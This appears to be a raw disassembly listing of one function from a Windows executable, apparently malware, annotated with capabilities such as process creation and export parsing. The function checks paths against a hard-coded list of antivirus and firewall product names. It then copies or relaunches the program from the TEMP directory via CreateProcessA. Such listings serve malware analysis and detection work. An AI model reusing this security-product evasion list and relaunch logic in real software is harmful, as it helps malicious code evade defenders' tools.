Function at 0x407830
Capabilities:
Create process on windows
Resolve function by parsing pe exports
Set current directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4381bb
mov eax, dword fs:[0]
push eax
add esp, 0xfffffad0
mov eax, dword [0x441480]
xor eax, esp
mov dword [esp + 0x528], eax
push ebx
push esi
push edi
mov eax, dword [0x441480]
xor eax, esp
xor esi, esi
push eax
lea eax, [esp + 0x540]
mov dword fs:[0], eax
push 1
mov dword [esp + 0x18], esi
call fcn.00422819
add esp, 4
mov edi, eax
mov dword [esp + 0x1c], edi
xor ebx, ebx
mov dword [esp + 0x20], esi
mov dword [esp + 0x548], esi
mov byte [esp + 0x13], 0
mov dword [esp + 0x18], ebx
cmp dword [0x443cd0], ebx
jle 0x407d8d
cmp byte [esp + 0x13], 0
jne 0x4079b2
mov eax, dword [0x443cd4]
mov eax, dword [eax + ebx*4]
mov ecx, str._START
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4078e0
test dl, dl
je 0x4078dc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4078e0
add eax, 2
sub ecx, 0xfffffffe
or dl, dl
jne 0x4078c0
xor eax, eax
jmp 0x4078e5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x407a5b
inc ebx
mov byte [esp + 0x13], 1
mov dword [esp + 0x18], ebx
cmp ebx, dword [0x443cd0]
jge 0x407a5b
mov ecx, dword [0x443cd4]
mov ebx, dword [ecx + ebx*4]
lea edx, [esi + 2]
push edx
push edi
mov dword [esp + 0x1c], ebx
call fcn.004228ad
mov ecx, esi
sub esp, 0xfffffff8
lea edi, [esi + 1]
cmp esi, edi
jge 0x40793f
mov edx, 0x43c654
sub edx, esi
lea ecx, [ecx]
mov bl, byte [ecx + edx]
mov byte [ecx + eax], bl
inc ecx
cmp ecx, edi
jl 0x407930
mov ebx, dword [esp + 0x14]
mov ecx, ebx
lea esi, [ecx + 1]
mov byte [edi + eax], 0
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x407948
sub ecx, esi
lea esi, [edi + ecx]
lea ecx, [esi + 1]
push ecx
push eax
call fcn.004228ad
mov ecx, edi
sub esp, 0xfffffff8
cmp edi, esi
jge 0x40797b
mov edx, ebx
sub edx, edi
jmp 0x407970
mov bl, byte [edx + ecx]
mov byte [ecx + eax], bl
inc ecx
cmp ecx, esi
jl 0x407970
lea edx, [esi + 3]
push edx
push eax
mov byte [esi + eax], 0
call fcn.004228ad
mov edi, eax
lea ecx, [esi + 2]
mov eax, esi
sub esp, 0xfffffff8
cmp esi, ecx
jge 0x407a4d
mov edx, 0x43daa8
sub edx, esi
mov bl, byte [eax + edx]
mov byte [eax + edi], bl
inc eax
cmp eax, ecx
jl 0x4079a2
jmp 0x407a4d
lea eax, [esi + 2]
push eax
push edi
call fcn.004228ad
add esp, 8
lea edi, [esi + 1]
cmp esi, edi
mov ecx, esi
jge 0x4079df
mov edx, 0x43c654
sub edx, esi
nop
mov bl, byte [ecx + edx]
mov byte [ecx + eax], bl
inc ecx
cmp ecx, edi
jl 0x4079d0
mov ebx, dword [esp + 0x18]
mov esi, dword [0x443cd4]
mov byte [edi + eax], 0
mov ebx, dword [esi + ebx*4]
mov ecx, ebx
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x4079f1
sub ecx, esi
lea esi, [edi + ecx]
lea edx, [esi + 1]
push edx
push eax
call fcn.004228ad
add esp, 8
cmp edi, esi
mov ecx, edi
jge 0x407a1f
mov edx, ebx
sub edx, edi
mov bl, byte [edx + ecx]
mov byte [ecx + eax], bl
inc ecx
cmp ecx, esi
jl 0x407a14
lea ecx, [esi + 3]
push ecx
push eax
mov byte [esi + eax], 0
call fcn.004228ad
lea ecx, [esi + 2]
sub esp, 0xfffffff8
mov edi, eax
cmp esi, ecx
mov eax, esi
jge 0x407a4d
mov edx, 0x43daa8
sub edx, esi
mov bl, byte [eax + edx]
mov byte [eax + edi], bl
inc eax
cmp eax, ecx
jl 0x407a42
mov esi, ecx
mov ebx, dword [esp + 0x18]
mov byte [esi + edi], 0
mov dword [esp + 0x20], esi
inc ebx
mov dword [esp + 0x18], ebx
cmp ebx, dword [0x443cd0]
jl 0x4078a8
cmp byte [esp + 0x13], 0
mov dword [esp + 0x1c], edi
je 0x407d8d
mov dword [esp + 0x34], str.avast
mov dword [esp + 0x38], 0x43dbec
mov dword [esp + 0x3c], str.eset
mov dword [esp + 0x40], str.egui
mov dword [esp + 0x44], 0x43dc00
mov dword [esp + 0x48], str.kasper
mov dword [esp + 0x4c], str.drweb
mov dword [esp + 0x50], str.clamav
mov dword [esp + 0x54], str.ekrn
mov dword [esp + 0x58], 0x43dc24
mov dword [esp + 0x5c], str.antivir
mov dword [esp + 0x60], str.f_prot
mov dword [esp + 0x64], 0x43dc38
mov dword [esp + 0x68], str.nod32
mov dword [esp + 0x6c], str.avira
mov dword [esp + 0x70], str.arcavir
mov dword [esp + 0x74], str.bitdefender
mov dword [esp + 0x78], str.f_secure
mov dword [esp + 0x7c], str.fsecure
mov dword [esp + 0x80], str.g_data
mov dword [esp + 0x84], str.gdata
mov dword [esp + 0x88], str.ikarus
mov dword [esp + 0x8c], str.panda
mov dword [esp + 0x90], str.quickheal
mov dword [esp + 0x94], str.sophos
mov dword [esp + 0x98], str.vba32
mov dword [esp + 0x9c], str.virusbuster
mov dword [esp + 0xa0], str.symantec
mov dword [esp + 0xa4], str.norton
mov dword [esp + 0xa8], str.cureit
mov dword [esp + 0xac], str.trendmicro
mov dword [esp + 0xb0], str.mcafee
mov dword [esp + 0xb4], str.msascui
mov dword [esp + 0xb8], str.iobit
mov dword [esp + 0xbc], str.outpost
mov dword [esp + 0xc0], str.agnitum
mov dword [esp + 0xc4], str.comodo
mov dword [esp + 0xc8], str.firewall
xor ebx, ebx
mov edx, dword [esp + ebx*4 + 0x34]
mov esi, dword [esp + 0x14]
push edx
push esi
call fcn.00422b30
add esp, 8
test eax, eax
jne 0x407d8d
inc ebx
cmp ebx, 0x26
jl 0x407be6
push eax
push eax
lea eax, [esp + 0x224]
push eax
lea ecx, [esp + 0x330]
push ecx
push esi
call fcn.00423615
sub esp, 0xffffffec
lea edx, [esp + 0x21c]
push edx
lea eax, [esp + 0x328]
push eax
lea ecx, [esp + 0x434]
push str._s_s
push ecx
call fcn.00420bd5
add esp, 0x10
lea edx, [esp + 0x42c]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push str.TEMP
call fcn.00420d1e
sub esp, 0xfffffffc
mov dword [esp + 0x14], eax
call fcn.00401000
mov ebx, eax
push 0x104
lea eax, [esp + 0x118]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, esi
lea ecx, [esp + 0x114]
lea esi, [esi]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x407cb0
test dl, dl
je 0x407cac
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x407cb0
add eax, 2
sub ecx, 0xfffffffe
or dl, dl
jne 0x407c90
xor eax, eax
jmp 0x407cb5
sbb eax, eax
sbb eax, 0xffffffff
or eax, eax
je 0x407d3f
push ebx
push esi
call fcn.00422b30
sub esp, 0xfffffff8
test eax, eax
jne 0x407d3f
cmp byte [0x444a85], al
jne 0x407cdf
call fcn.004060f0
mov byte [0x444a85], 1
mov ecx, dword [0x444b3c]
mov eax, dword [ecx + 0x9c]
push eax
push esi
call fcn.00422b30
add esp, 8
test eax, eax
jne 0x407d3f
mov edx, dword [esp + 0x14]
push edx
push esi
call fcn.00422b30
add esp, 8
or eax, eax
jne 0x407d3f
cmp byte [0x444a85], al
jne 0x407d1f
call fcn.004060f0
mov byte [0x444a85], 1
mov ecx, dword [0x444b3c]
mov edx, dword [ecx + 0x98]
push esi
lea eax, [esp + 0x118]
push eax
push edx
mov eax, esi
call fcn.00404dc0
sub esp, 0xfffffff4
push ebx
call fcn.00420c59
add esp, 4
push 0x44
lea eax, [esp + 0xd0]
push 0
push eax
call fcn.00429890
sub esp, 0xfffffff4
lea ecx, [esp + 0x24]
push ecx
xor eax, eax
lea edx, [esp + 0xd0]
push edx
push eax
push eax
push 0x100
push eax
push eax
push eax
push edi
push eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push edi
call fcn.004214f1
sub esp, 0xfffffffc
mov ebx, dword [esp + 0x540]
mov dword fs:[0], ebx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x528]
xor ecx, esp
call fcn.00420bc6
mov esp, ebp
pop ebp
ret